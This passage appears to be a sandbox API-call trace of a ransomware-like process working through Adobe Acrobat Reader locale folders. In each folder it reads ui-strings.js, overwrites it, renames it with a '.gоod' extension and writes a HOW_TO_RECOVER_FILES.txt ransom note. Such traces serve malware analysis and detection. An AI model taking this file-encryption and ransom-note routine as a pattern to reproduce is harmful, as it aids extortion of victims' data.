lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.882] GetFileType (hFile=0x86c) returned 0x1 [0259.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0259.882] GetFileType (hFile=0x86c) returned 0x1 [0259.882] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x45b [0259.882] ReadFile (in: hFile=0x86c, lpBuffer=0x38c4de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38c4de0*, lpNumberOfBytesRead=0x208ebf98*=0x45b, lpOverlapped=0x0) returned 1 [0259.883] CloseHandle (hObject=0x86c) returned 1 [0262.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0262.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0262.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0262.694] GetFileType (hFile=0x86c) returned 0x1 [0262.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0262.694] GetFileType (hFile=0x86c) returned 0x1 [0262.694] WriteFile (in: hFile=0x86c, lpBuffer=0x3c59b00*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3c59b00*, lpNumberOfBytesWritten=0x208ebea8*=0x460, lpOverlapped=0x0) returned 1 [0262.694] CloseHandle (hObject=0x86c) returned 1 [0262.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0262.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0262.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0262.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x98c9854f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x460)) returned 1 [0262.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0262.694] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\ui-strings.js.gоod")) returned 1 [0262.696] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0262.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0262.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0262.697] GetFileType (hFile=0x86c) returned 0x1 [0262.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0262.697] GetFileType (hFile=0x86c) returned 0x1 [0262.698] WriteFile (in: hFile=0x86c, lpBuffer=0x3c5d400*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3c5d400*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0262.698] CloseHandle (hObject=0x86c) returned 1 [0262.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0262.698] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x76 [0262.699] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0262.699] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.699] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0262.699] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0262.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0262.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0262.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0262.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x76 [0262.699] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0262.700] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.700] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0262.700] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0262.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0262.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0262.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0262.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0262.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0262.701] GetFileType (hFile=0x86c) returned 0x1 [0262.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0262.701] GetFileType (hFile=0x86c) returned 0x1 [0262.701] WriteFile (in: hFile=0x86c, lpBuffer=0x3c6f120*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3c6f120*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0262.702] CloseHandle (hObject=0x86c) returned 1 [0262.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0262.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il", lpFilePart=0x0) returned 0x76 [0262.702] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0262.703] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.703] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.703] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.703] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0262.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0262.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0262.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0262.703] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il", lpFilePart=0x0) returned 0x76 [0262.703] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0262.704] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.704] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.704] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.704] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0262.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0262.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0262.704] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0262.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0262.704] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3c7f040 | out: lpFileInformation=0x3c7f040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b)) returned 1 [0262.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0262.705] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0262.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0262.705] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0262.705] GetFileType (hFile=0x86c) returned 0x1 [0262.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0262.705] GetFileType (hFile=0x86c) returned 0x1 [0262.705] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x45b [0262.705] ReadFile (in: hFile=0x86c, lpBuffer=0x3c7f848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3c7f848*, lpNumberOfBytesRead=0x208ebf98*=0x45b, lpOverlapped=0x0) returned 1 [0262.706] CloseHandle (hObject=0x86c) returned 1 [0262.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0262.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0262.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0262.818] GetFileType (hFile=0x768) returned 0x1 [0262.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0262.818] GetFileType (hFile=0x768) returned 0x1 [0262.818] WriteFile (in: hFile=0x768, lpBuffer=0x3938d48*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3938d48*, lpNumberOfBytesWritten=0x208ebea8*=0x460, lpOverlapped=0x0) returned 1 [0262.819] CloseHandle (hObject=0x768) returned 1 [0262.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0262.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0262.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0262.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x98dc984d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x460)) returned 1 [0262.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0262.819] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 